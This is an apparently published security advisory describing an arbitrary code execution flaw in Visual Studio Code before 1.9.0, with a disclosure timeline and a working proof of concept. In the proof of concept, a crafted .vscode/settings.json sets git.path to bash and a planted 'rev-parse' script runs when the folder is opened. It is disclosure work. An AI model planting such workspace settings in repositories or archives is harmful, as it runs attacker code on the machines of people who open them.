Skip to content

Latest commit

 

History

History
212 lines (161 loc) · 7.33 KB

2017_visual_studio_code_workspace_settings_code_execution.md

File metadata and controls

212 lines (161 loc) · 7.33 KB

The following issue constitutes an arbitrary code execution vulnerability in Visual Studio Code (herein referred to as "Code").

Users should upgrade to Code 1.9.0 or later.

https://en.wikipedia.org/wiki/Visual_Studio_Code says:

Visual Studio Code is a source code editor developed by Microsoft for Windows, Linux and macOS. It includes support for debugging, embedded Git control, syntax highlighting, intelligent code completion, snippets, and code refactoring. It is also customizable, so users can change the editor's theme, keyboard shortcuts, and preferences. It is free and open-source, although the official download is under a proprietary license.

The vulnerability can be exploited in the event that a user loads a directory in Code, where that directory contains specially-crafted contents. In Code parlance, a directory represents a "Workspace".

This could arise in the following scenarios:

  • Where an attacker controls a world-readable directory on a multi-user system (e.g. within /tmp/) that a user can be convinced to open as a Workspace.

  • Where an attacker can provide a tarball that a user can be convinced to extract then open as a Workspace.

  • Where an attacker controls a git repo which a user can be convinced to clone and then open as a Workspace.

Other scenarios are left as an exercise for the reader.

All examples below were captured using Code version 1.7.2 as installed on Debian Testing from code_1.7.2-1479766213_amd64.deb (SHA256 6bf92cc50f58053538d07f64d91b5cb2469c532dff130fb5107f402134e079b5)

Disclosure Timeline

  • 5 Dec 2016 - Issue reported to the project with a coordinated disclosure date of 6 March 2017
  • Late Jan 2017 - Issue fixed in various commits
  • 2 Feb 2017 - 1.9.0 released
  • 2 Mar 2017 - Advisory published

The project did not notify me that a fix had been published despite there being an agreed-upon coordinated disclosure date (at 90 days or upon fix, whichever came first)

Microsoft also did not allocate a CVE as requested.

Visual Studio Code automatically loads unsafe Workspace Settings

Code, when opening a Workspace, automatically loads Workspace Settings from a file named .vscode/settings.json. Opening a Workspace is understood to be a common activity, as it allows for the viewing and editing of multiple files within a directory structure. Documentation regarding Workspace Settings and their mechanics is available at https://code.visualstudio.com/Docs/customization/userandworkspace

The loading of Workspace Settings allows for the configuration of unsafe parameters, such as the path to the Git executable and whether Git functionality should be enabled by the Workspace.

The specification of the path to the Git executable, and the enabling of Git functionality, allows an attacker to induce arbitrary command execution upon opening a Workspace within Code.

POC

Cause the "yes" program to be executed

[justin@671335e66d2d D ~]% mkdir -p test1/.vscode

[justin@671335e66d2d D ~]% cat > test1/.vscode/settings.json
{
  "git.path": "yes"
}
^D

[justin@671335e66d2d D ~]% ps -ef | grep yes
justin     934   394  0 07:00 pts/0    00:00:00 grep --color=auto yes

[justin@671335e66d2d D ~]% code ./test1/
  [... Code starts up as an X application ...]

[justin@671335e66d2d D ~]% ps -ef | grep yes
justin    1043   991 91 07:00 ?        00:00:03 /usr/share/code/code /usr/share/code/resources/app/out/bootstrap yes /home/justin/test1 utf8 /usr/share/code/code yes (GNU coreutils) 8.25 Copyright (C) 2016 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>. This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.  Written by David MacKenzie.
justin    1066  1043 25 07:00 ?        00:00:01 yes rev-parse --show-toplevel
justin    1076   394  0 07:01 pts/0    00:00:00 grep --color=auto yes

yes is clearly running.

Discover how Git is being invoked:

git.path is set to be the path to a shell script which will snitch on how git is being invoked.

[justin@671335e66d2d D ~]% mkdir -p test2/.vscode

[justin@671335e66d2d D ~]% cat > test2/.vscode/settings.json
{
  "git.path": "/home/justin/test2/log_how_we_do.sh"
}
^D

[justin@671335e66d2d D ~]% cat > test2/log_how_we_do.sh
#!/bin/sh
echo "CWD: $PWD" >> /home/justin/how_we_do.log
echo "doing: $0 $@" >> /home/justin/how_we_do.log
echo "---" >> /home/justin/how_we_do.log
^D

[justin@671335e66d2d D ~]% chmod u+x test2/log_how_we_do.sh

[justin@671335e66d2d D ~]% code ./test2/
  [... Code starts up as an X application ...]

[justin@671335e66d2d D ~]% cat how_we_do.log
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh --version
---
CWD: /home/justin/test2
doing: /home/justin/test2/log_how_we_do.sh rev-parse --show-toplevel
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh status -z -u
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh symbolic-ref --short HEAD
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh for-each-ref --format %(refname) %(objectname)
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh remote --verbose
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh status -z -u
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh symbolic-ref --short HEAD
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh for-each-ref --format %(refname) %(objectname)
---
CWD: /home/justin
doing: /home/justin/test2/log_how_we_do.sh remote --verbose
---

Git is being invoked a number of times. It is first executed with the argument --version with the CWD being the CWD from where Code was launched, and then it is executed with the arguments rev-parse --show-toplevel with the CWD being the path to the Workspace being opened.

In separate testing, it was found that Code will seemingly cease to perform Git invocations if any invocation returns an exit code other than 0.

Gain code execution

We can set the Git path to be bash and plant a Bash script in the workspace directory with a filename of rev-parse. bash --version returns an exit code of 0, and so we should get through to the invocation of bash rev-parse --show-toplevel which will execute our Bash script.

By having the rev-parse Bash script exit with a non-zero status, we can early-out of the series of Git invocations.

[justin@671335e66d2d D ~]% mkdir -p test3/.vscode

[justin@671335e66d2d D ~]% cat > test3/.vscode/settings.json
{
  "git.path": "bash"
}
^D

[justin@671335e66d2d D ~]% cat > test3/rev-parse
#!/bin/sh
echo "Arbitrary command execution as $(id)" > /home/justin/command_execution.proof
exit 1
^D

Trigger the bug:

[justin@671335e66d2d D ~]% cat command_execution.proof
cat: command_execution.proof: No such file or directory

[justin@671335e66d2d D ~]% code ./test3/
  [... Code starts up as an X application ...]

[justin@671335e66d2d D ~]% cat command_execution.proof
Arbitrary command execution as uid=31337(justin) gid=31337(justin) groups=31337(justin),27(sudo)

Justin Steven

https://twitter.com/justinsteven